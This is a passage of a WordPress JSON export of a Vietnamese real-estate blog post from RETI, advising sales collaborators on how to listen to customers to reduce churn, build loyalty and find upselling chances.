{"id":32403,"date":"2021-11-09T13:50:41","date_gmt":"2021-11-09T06:50:41","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=32403"},"modified":"2025-10-22T03:53:31","modified_gmt":"2025-10-21T20:53:31","slug":"6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/","title":{"rendered":"6 c\u00e1ch gi\u00fap CTV B\u1ea5t \u0111\u1ed9ng s\u1ea3n l\u1eafng nghe kh\u00e1ch h\u00e0ng t\u1ed1t nh\u1ea5t"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><em>L\u1eafng nghe kh\u00e1ch h\u00e0ng kh\u00f4ng ph\u1ea3i ch\u1ec9 l\u00e0 nh\u1ea5c \u0111i\u1ec7n tho\u1ea1i v\u00e0 tr\u1ea3 l\u1eddi kh\u00e1ch h\u00e0ng \u1edf b\u00e0n d\u1ecbch v\u1ee5. H\u01a1n th\u1ebf, \u0111\u00e2y l\u00e0 c\u00e1ch b\u1ea1n k\u1ebft n\u1ed1i v\u1edbi h\u1ecd, ch\u00fa \u00fd \u0111\u1ebfn nhu c\u1ea7u, k\u1ef3 v\u1ecdng v\u00e0 hi\u1ec3u v\u1ea5n \u0111\u1ec1 \u0111\u1ec3 gi\u00fap kh\u00e1ch h\u00e0ng \u0111\u01b0\u1ee3c nh\u01b0 mong mu\u1ed1n. Tr\u00ean th\u1ef1c t\u1ebf, nh\u1eefng h\u00e0nh \u0111\u1ed9ng \u1ea5y kh\u00f4ng h\u1ec1 d\u1ec5 d\u00e0ng v\u1edbi c\u1ed9ng t\u00e1c vi\u00ean B\u1ea5t \u0111\u1ed9ng s\u1ea3n (CTV B\u0110S). Trong b\u00e0i vi\u1ebft d\u01b0\u1edbi \u0111\u00e2y, <a href=\"https:\/\/reti.vn\/\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/reti.vn\/\" rel=\"noreferrer noopener\">RETI<\/a> s\u1ebd m\u00e1ch b\u1ea1n c\u00e1ch gi\u00fap <a href=\"https:\/\/agent.reti.vn\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/\" target=\"_blank\" rel=\"noreferrer noopener\">CTV B\u0110S<\/a> l\u1eafng nghe kh\u00e1ch h\u00e0ng t\u1ed1t nh\u1ea5t, \u0111\u1eebng b\u1ecf l\u1ee1 nh\u00e9.<\/em><\/p>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_83 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-6a1434611bfd0\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-6a1434611bfd0\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/#Tai_sao_CTV_BDS_nen_lang_nghe_khach_hang\" >T\u1ea1i sao CTV B\u0110S n\u00ean l\u1eafng nghe kh\u00e1ch h\u00e0ng?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/#Giam_bot_ty_le_khach_hang_roi_bo_Churn_thuong_hieu\" >Gi\u1ea3m b\u1edbt t\u1ef7 l\u1ec7 kh\u00e1ch h\u00e0ng r\u1eddi b\u1ecf (Churn) th\u01b0\u01a1ng hi\u1ec7u<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/#Cai_thien_long_trung_thanh_cua_khach_hang\" >C\u1ea3i thi\u1ec7n l\u00f2ng trung th\u00e0nh c\u1ee7a kh\u00e1ch h\u00e0ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/#Giu_chan_khach_hang\" >Gi\u1eef ch\u00e2n kh\u00e1ch h\u00e0ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/#Xac_dinh_co_hoi_de_ban_hang\" >X\u00e1c \u0111\u1ecbnh c\u01a1 h\u1ed9i \u0111\u1ec3 b\u00e1n h\u00e0ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/#Cai_thien_moi_quan_he_voi_khach_hang\" >C\u1ea3i thi\u1ec7n m\u1ed1i quan h\u1ec7 v\u1edbi kh\u00e1ch h\u00e0ng<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/#Lam_the_nao_de_CTV_BDS_hoc_cach_lang_nghe_khach_hang_hieu_qua\" >L\u00e0m th\u1ebf n\u00e0o \u0111\u1ec3 CTV B\u0110S h\u1ecdc c\u00e1ch l\u1eafng nghe kh\u00e1ch h\u00e0ng hi\u1ec7u qu\u1ea3?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/#De_khach_hang_noi\" >\u0110\u1ec3 kh\u00e1ch h\u00e0ng n\u00f3i<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/#Khiem_ton_va_kien_nhan\" >Khi\u00eam t\u1ed1n v\u00e0 ki\u00ean nh\u1eabn<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/#Tuong_tac_voi_khach_hang_bang_cac_cong_cu_ho_tro\" >T\u01b0\u01a1ng t\u00e1c v\u1edbi kh\u00e1ch h\u00e0ng b\u1eb1ng c\u00e1c c\u00f4ng c\u1ee5 h\u1ed7 tr\u1ee3<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/#Ngon_ngu_co_the_linh_hoat\" >Ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 linh ho\u1ea1t<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/#Lang_nghe_tich_cuc\" >L\u1eafng nghe t\u00edch c\u1ef1c<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/#Tap_trung_vao_con_nguoi_va_van_de\" >T\u1eadp trung v\u00e0o con ng\u01b0\u1eddi v\u00e0 v\u1ea5n \u0111\u1ec1<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/#3_ly_do_ngung_lang_nghe_khach_hang_cua_minh\" >3 l\u00fd do ng\u1eebng l\u1eafng nghe kh\u00e1ch h\u00e0ng c\u1ee7a m\u00ecnh<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/#Da_so_im_lang\" >\u0110a s\u1ed1 im l\u1eb7ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/#Thieu_so_la_het\" >Thi\u1ec3u s\u1ed1 la h\u00e9t<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/#Khach_hang_khong_biet_ho_muon_gi\" >Kh\u00e1ch h\u00e0ng kh\u00f4ng bi\u1ebft h\u1ecd mu\u1ed1n g\u00ec<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tai_sao_CTV_BDS_nen_lang_nghe_khach_hang\"><\/span>T\u1ea1i sao CTV B\u0110S n\u00ean <a href=\"https:\/\/agent.reti.vn\/cam-nang-dong-hanh-cung-khach-hang-tiem-nang-hieu-qua-giai-ma-khach-hang-khi-ho-khong-noi\/\" target=\"_blank\" rel=\"noreferrer noopener\">l\u1eafng nghe kh\u00e1ch h\u00e0ng<\/a>?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Trong m\u1ed9t b\u00e0i b\u00e1o c\u00e1o cho th\u1ea5y, 82% kh\u00e1ch h\u00e0ng cho bi\u1ebft h\u1ecd s\u1ebd chuy\u1ec3n \u0111\u1ed5i nh\u00e0 cung c\u1ea5p d\u1ecbch v\u1ee5 sau m\u1ed9t tr\u1ea3i nghi\u1ec7m t\u1ed3i t\u1ec7 v\u1edbi d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng m\u00e0 h\u1ecd \u0111ang h\u1ee3p t\u00e1c. M\u1ed9t trong nh\u1eefng c\u00e1ch \u0111\u1ec3 tr\u00e1nh con s\u1ed1 c\u00f3 v\u1ebb \u0111\u00e1ng s\u1ee3 n\u00e0y tr\u1edf th\u00e0nh hi\u1ec7n th\u1ef1c l\u00e0 ph\u1ea3i t\u00edch c\u1ef1c&nbsp;l\u1eafng nghe kh\u00e1ch h\u00e0ng&nbsp;v\u00e0 ph\u00e2n t\u00edch ph\u1ea3n h\u1ed3i c\u1ee7a h\u1ecd \u0111\u1ec3 b\u1ea1n c\u00f3 th\u1ec3 kh\u1eafc ph\u1ee5c c\u00e1c v\u1ea5n \u0111\u1ec1 \u0111ang khi\u1ebfn cho h\u1ecd gi\u1eadn d\u1eef.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Giam_bot_ty_le_khach_hang_roi_bo_Churn_thuong_hieu\"><\/span>Gi\u1ea3m b\u1edbt t\u1ef7 l\u1ec7 kh\u00e1ch h\u00e0ng r\u1eddi b\u1ecf (Churn) th\u01b0\u01a1ng hi\u1ec7u<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Y\u00eau c\u1ea7u \u0111\u1ea7u ti\u00ean c\u1ee7a m\u1ed9t CTV B\u0110S t\u1ed1t nh\u1ea5t l\u00e0 ng\u01b0\u1eddi bi\u1ebft l\u1eafng nghe. H\u1ecd c\u00f3 th\u1ec3 nh\u1edb l\u1ea1i c\u00e1c chi ti\u1ebft li\u00ean quan \u0111\u00e3 \u0111\u01b0\u1ee3c \u0111\u1ec1 c\u1eadp tr\u01b0\u1edbc \u0111\u00f3 v\u00e0 nh\u1eafc l\u1ea1i trong t\u00ecnh hu\u1ed1ng ph\u00f9 h\u1ee3p \u0111\u1ec3 k\u1ebft n\u1ed1i c\u1ea3m x\u00fac c\u1ee7a kh\u00e1ch h\u00e0ng. \u0110i\u1ec1u n\u00e0y gi\u00fap kh\u00e1ch h\u00e0ng kh\u00f4ng ph\u1ea3i l\u1eb7p \u0111i l\u1eb7p l\u1ea1i th\u00f4ng tin, g\u00e2y th\u00eam nhi\u1ec1u s\u1ef1 kh\u00f3 ch\u1ecbu v\u1ec1 tr\u1ea3i nghi\u1ec7m d\u1ecbch v\u1ee5.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&gt;&gt;&gt; <a href=\"https:\/\/agent.reti.vn\/5-ly-do-vi-sao-su-hai-long-cua-khach-hang-quan-trong-cho-nghe-moi-gioi-bat-dong-san\/\" target=\"_blank\" rel=\"noreferrer noopener\">5+ l\u00fd do v\u00ec sao s\u1ef1 h\u00e0i l\u00f2ng c\u1ee7a kh\u00e1ch h\u00e0ng quan tr\u1ecdng cho ngh\u1ec1 m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/a>.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img decoding=\"async\" data-src=\"https:\/\/agent.reti.vn\/wp-content\/uploads\/2021\/11\/unnamed-1.jpg\" alt=\"\" class=\"wp-image-4656 lazyload\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\"><figcaption> <em>86% kh\u00e1ch h\u00e0ng c\u1ee7a b\u1ea1n s\u1eb5n s\u00e0ng tr\u1ea3 th\u00eam ti\u1ec1n cho m\u1ed9t nh\u00e0 m\u00f4i gi\u1edbi kh\u00e1c n\u1ebfu h\u1ecd nh\u1eadn \u0111\u01b0\u1ee3c tr\u1ea3i nghi\u1ec7m kh\u00e1ch h\u00e0ng t\u1ed1t h\u01a1n<\/em><\/figcaption><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Khi n\u00f3i \u0111\u1ebfn t\u1ef7 l\u1ec7 kh\u00e1ch h\u00e0ng r\u1eddi b\u1ecf, d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng k\u00e9m l\u00e0 l\u00fd do l\u1edbn khi\u1ebfn h\u1ecd chuy\u1ec3n \u0111\u1ed5i nh\u00e0 cung c\u1ea5p. Khi kh\u00e1ch h\u00e0ng c\u1ea3m th\u1ea5y kh\u00f4ng \u0111\u01b0\u1ee3c coi tr\u1ecdng trong qu\u00e1 tr\u00ecnh t\u01b0\u01a1ng t\u00e1c v\u1edbi d\u1ecbch v\u1ee5, h\u1ecd s\u1ebd nhanh ch\u00f3ng t\u00ecm \u0111\u1ebfn \u0111\u1ed1i th\u1ee7 c\u1ea1nh tranh c\u1ee7a b\u1ea1n \u0111\u1ec3 \u0111\u01b0\u1ee3c h\u1ed7 tr\u1ee3. Th\u1ef1c t\u1ebf cho th\u1ea5y, 86% kh\u00e1ch h\u00e0ng c\u1ee7a b\u1ea1n s\u1ebd ch\u1ea5p nh\u1eadn tr\u1ea3 th\u00eam ti\u1ec1n cho m\u1ed9t <a href=\"https:\/\/agent.reti.vn\/lam-the-nao-de-ctv-bat-dong-san-moi-co-duoc-khach-hang\/\">CTV B\u0110S<\/a> kh\u00e1c n\u1ebfu h\u1ecd nh\u1eadn \u0111\u01b0\u1ee3c tr\u1ea3i nghi\u1ec7m kh\u00e1ch h\u00e0ng t\u1ed1t h\u01a1n.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Cai_thien_long_trung_thanh_cua_khach_hang\"><\/span>C\u1ea3i thi\u1ec7n l\u00f2ng trung th\u00e0nh c\u1ee7a kh\u00e1ch h\u00e0ng<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">M\u1ed9t s\u1ef1 th\u1eadt l\u00e0, cho d\u00f9 s\u1ea3n ph\u1ea9m ho\u1eb7c d\u1ecbch v\u1ee5 c\u1ee7a b\u1ea1n c\u00f3 tuy\u1ec7t v\u1eddi \u0111\u1ebfn \u0111\u00e2u th\u00ec s\u1ea3n ph\u1ea9m ho\u1eb7c d\u1ecbch v\u1ee5 c\u1ee7a b\u1ea1n c\u0169ng kh\u00f4ng bao gi\u1edd an to\u00e0n. Nghi\u00ean c\u1ee9u cho th\u1ea5y, trong khi 44% kh\u00e1ch h\u00e0ng kh\u00f4ng c\u00f3 k\u1ebf ho\u1ea1ch thay \u0111\u1ed5i nh\u00e0 cung c\u1ea5p, 82% cu\u1ed1i c\u00f9ng s\u1ebd chuy\u1ec3n \u0111\u1ed5i trong v\u00f2ng 5 n\u0103m. Nh\u01b0 v\u1eady, ch\u1ec9 c\u1ea7n m\u1ed9t t\u01b0\u01a1ng t\u00e1c k\u00e9m s\u1ebd khi\u1ebfn ph\u1ea7n l\u1edbn c\u01a1 s\u1edf kh\u00e1ch h\u00e0ng c\u1ee7a b\u1ea1n b\u1ecb x\u00e1o tr\u1ed9n.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u0110i\u1ec1u n\u00e0y h\u1ed7 tr\u1ee3 <a href=\"https:\/\/agent.reti.vn\/nhung-dieu-ban-can-biet-truoc-khi-tro-thanh-ctv-bds\/\" target=\"_blank\" rel=\"noreferrer noopener\">CTV B\u0110S<\/a> c\u00f3 \u00edt kho\u1ea3ng tr\u1ed1ng khi n\u00f3i \u0111\u1ebfn d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng. CTV B\u0110S c\u1ea7n \u0111\u1ea3m b\u1ea3o kh\u00e1ch h\u00e0ng v\u1eabn h\u00e0i l\u00f2ng v\u00e0 trung th\u00e0nh v\u1edbi th\u01b0\u01a1ng hi\u1ec7u c\u1ee7a m\u00ecnh. L\u1eafng nghe ph\u1ea3n h\u1ed3i c\u1ee7a h\u1ecd l\u00e0 c\u00e1ch t\u1ed1t nh\u1ea5t \u0111\u1ec3 b\u1eaft k\u1ecbp nhu c\u1ea7u c\u1ee7a h\u1ecd v\u00e0 \u0111\u00e1p \u1ee9ng c\u00e1c k\u1ef3 v\u1ecdng ng\u1eafn h\u1ea1n ho\u1eb7c d\u00e0i h\u1ea1n kh\u00e1c.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Giu_chan_khach_hang\"><\/span>Gi\u1eef ch\u00e2n kh\u00e1ch h\u00e0ng<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Khi CTV B\u0110S bi\u1ebft c\u00e1ch l\u1eafng nghe kh\u00e1ch h\u00e0ng, c\u00e1c t\u01b0\u01a1ng t\u00e1c d\u1ecbch v\u1ee5 c\u00f3 xu h\u01b0\u1edbng d\u1ec5 d\u00e0ng h\u01a1n. Kh\u00e1ch h\u00e0ng v\u00e0 CTV B\u0110S \u1edf tr\u00ean c\u00f9ng m\u1ed9t con thuy\u1ec1n v\u00e0 vi\u1ec7c kh\u1eafc ph\u1ee5c s\u1ef1 c\u1ed1 di\u1ec5n ra l\u00e0 \u0111i\u1ec1u c\u1ea7n s\u1ef1 \u0111\u1ed3ng t\u00e2m, \u0111\u1ed3ng l\u00f2ng cao nh\u1ea5t. Vi\u1ec7c kh\u00f4ng c\u00f3 s\u1ef1 x\u00edch m\u00edch hay m\u00e2u thu\u1eabn trong c\u00e1ch l\u00e0m vi\u1ec7c r\u1ea5t quan tr\u1ecdng v\u00ec n\u00f3 d\u1eabn \u0111\u1ebfn kh\u1ea3 n\u0103ng gi\u1eef ch\u00e2n kh\u00e1ch h\u00e0ng \u1edf l\u1ea1i. C\u00f3 t\u1edbi 91% kh\u00e1ch h\u00e0ng s\u1ebd \u1edf l\u1ea1i v\u1edbi nh\u00e0 cung c\u1ea5p sau m\u1ed9t cu\u1ed9c g\u1ecdi li\u00ean h\u1ec7 kh\u00e1ch h\u00e0ng t\u1ed1t.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">C\u00f3 th\u1ec3 b\u1ea1n quan t\u00e2m <a href=\"https:\/\/agent.reti.vn\/cach-tu-van-khach-hang-qua-dien-thoai-hieu-qua\/\" target=\"_blank\" rel=\"noreferrer noopener\">Nh\u1eefng c\u00e1ch t\u01b0 v\u1ea5n kh\u00e1ch h\u00e0ng qua \u0111i\u1ec7n tho\u1ea1i hi\u1ec7u qu\u1ea3 v\u00e0 c\u00f3 cu\u1ed9c h\u1eb9n \u0111\u1ea7u ti\u00ean th\u00e0nh c\u00f4ng<\/a>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Xac_dinh_co_hoi_de_ban_hang\"><\/span>X\u00e1c \u0111\u1ecbnh c\u01a1 h\u1ed9i \u0111\u1ec3 b\u00e1n h\u00e0ng<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">L\u1eafng nghe kh\u00e1ch h\u00e0ng kh\u00f4ng ch\u1ec9 l\u00e0 c\u00e1ch \u0111\u1ec3 l\u00e0m tho\u1ea3 m\u00e3n t\u00ednh &#8220;c\u1ea7n n\u00f3i&#8221; c\u1ee7a kh\u00e1ch h\u00e0ng. \u0110\u00e2y c\u00f2n l\u00e0 m\u1ed9t ph\u01b0\u01a1ng ph\u00e1p CTV B\u0110S c\u00f3 th\u1ec3 s\u1eed d\u1ee5ng \u0111\u1ec3 b\u00e1n th\u00eam v\u00e0 b\u00e1n ch\u00e9o cho kh\u00e1ch h\u00e0ng.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Trong tr\u01b0\u1eddng h\u1ee3p CTV B\u0110S \u0111ang kh\u1eafc ph\u1ee5c s\u1ef1 c\u1ed1 cho kh\u00e1ch h\u00e0ng, nh\u01b0ng kh\u00e1ch h\u00e0ng l\u1ea1i ph\u00e0n n\u00e0n v\u1ec1 gi\u1edbi h\u1ea1n c\u1ee7a d\u1ecbch v\u1ee5 kh\u00f4ng \u0111\u1ee7 \u0111\u1ec3 gi\u1ea3i quy\u1ebft h\u1ebft nh\u1eefng y\u00eau c\u1ea7u c\u1ee7a h\u1ecd. L\u00fac n\u00e0y, CTV B\u0110S c\u00f3 th\u1ec3 gi\u1ea3i th\u00edch c\u00e1c l\u1ee3i \u00edch c\u1ee7a g\u00f3i cao c\u1ea5p v\u00e0 c\u00e1ch n\u00f3 s\u1ebd gi\u1ea3i quy\u1ebft c\u00e1c v\u1ea5n \u0111\u1ec1 kh\u00e1ch h\u00e0ng \u0111ang v\u01b0\u1edbng m\u1eafc. N\u1ebfu kh\u00e1ch h\u00e0ng quan t\u00e2m, CTV B\u0110S c\u00f3 th\u1ec3 gi\u1edbi thi\u1ec7u h\u1ecd v\u1edbi c\u00e1c kh\u00e1ch h\u00e0ng c\u1ee7a m\u00ecnh v\u00e0 ch\u1ed1t giao d\u1ecbch.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img decoding=\"async\" data-src=\"https:\/\/agent.reti.vn\/wp-content\/uploads\/2021\/11\/article_1578314713_448.jpg\" alt=\"\" class=\"wp-image-4657 lazyload\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\"><figcaption> <em>L\u1eafng nghe kh\u00e1ch h\u00e0ng l\u00e0 m\u1ed9t ph\u01b0\u01a1ng ph\u00e1p m\u00f4i gi\u1edbi c\u00f3 th\u1ec3 s\u1eed d\u1ee5ng \u0111\u1ec3 b\u00e1n th\u00eam v\u00e0 b\u00e1n ch\u00e9o cho kh\u00e1ch h\u00e0ng<\/em><\/figcaption><\/figure><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Cai_thien_moi_quan_he_voi_khach_hang\"><\/span>C\u1ea3i thi\u1ec7n m\u1ed1i quan h\u1ec7 v\u1edbi kh\u00e1ch h\u00e0ng<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Khi CTV B\u0110S hi\u1ec3u \u0111\u01b0\u1ee3c t\u1ea7m quan tr\u1ecdng c\u1ee7a vi\u1ec7c l\u1eafng nghe kh\u00e1ch h\u00e0ng v\u00e0 \u0111\u1ea7u t\u01b0 v\u00e0o cu\u1ed9c \u0111\u1ed1i tho\u1ea1i, th\u00ec kh\u1ea3 n\u0103ng b\u1ea1n s\u1ebd ti\u1ebfn xa h\u01a1n trong m\u1ed1i quan h\u1ec7 v\u1edbi kh\u00e1ch h\u00e0ng c\u1ee7a m\u00ecnh. \u0110\u00f3 l\u00e0 v\u00ec h\u1ecd \u0111\u00e3 k\u1ebft n\u1ed1i v\u1edbi nhu c\u1ea7u c\u1ee7a kh\u00e1ch h\u00e0ng v\u00e0 cam k\u1ebft mang l\u1ea1i tr\u1ea3i nghi\u1ec7m kh\u00e1ch h\u00e0ng th\u00fa v\u1ecb. CTV B\u0110S c\u1ea7n nghe \u0111\u00fang ch\u1ed7, \u0111\u00fang chuy\u1ec7n v\u00e0 \u0111\u00fang ng\u01b0\u1eddi, b\u00ean c\u1ea1nh \u0111\u00f3 \u0111\u01b0a ra nh\u1eefng \u00fd ki\u1ebfn g\u00f3p \u00fd ph\u00f9 h\u1ee3p cho kh\u00e1ch h\u00e0ng trong t\u1eebng tr\u01b0\u1eddng h\u1ee3p.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">B\u00e0i vi\u1ebft li\u00ean quan: <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&gt;&gt;&gt; <a href=\"https:\/\/agent.reti.vn\/ky-nang-quyet-dinh-thanh-bai-trong-tu-van-khach-hang-kien-thuc-thi-truong-khu-vuc\/\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/agent.reti.vn\/ky-nang-quyet-dinh-thanh-bai-trong-tu-van-khach-hang-kien-thuc-thi-truong-khu-vuc\/\" rel=\"noreferrer noopener\">K\u1ef9 n\u0103ng quy\u1ebft \u0111\u1ecbnh th\u00e0nh b\u1ea1i trong t\u01b0 v\u1ea5n kh\u00e1ch h\u00e0ng: Ki\u1ebfn th\u1ee9c th\u1ecb tr\u01b0\u1eddng khu v\u1ef1c<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&gt;&gt;&gt; <a href=\"https:\/\/agent.reti.vn\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/agent.reti.vn\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/\" rel=\"noreferrer noopener\">C\u00e1ch ti\u1ebfp c\u1eadn kh\u00e1ch h\u00e0ng: C\u1ea9m nang d\u00e0nh cho CTV B\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Lam_the_nao_de_CTV_BDS_hoc_cach_lang_nghe_khach_hang_hieu_qua\"><\/span>L\u00e0m th\u1ebf n\u00e0o \u0111\u1ec3 CTV B\u0110S h\u1ecdc c\u00e1ch l\u1eafng nghe kh\u00e1ch h\u00e0ng hi\u1ec7u qu\u1ea3?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" 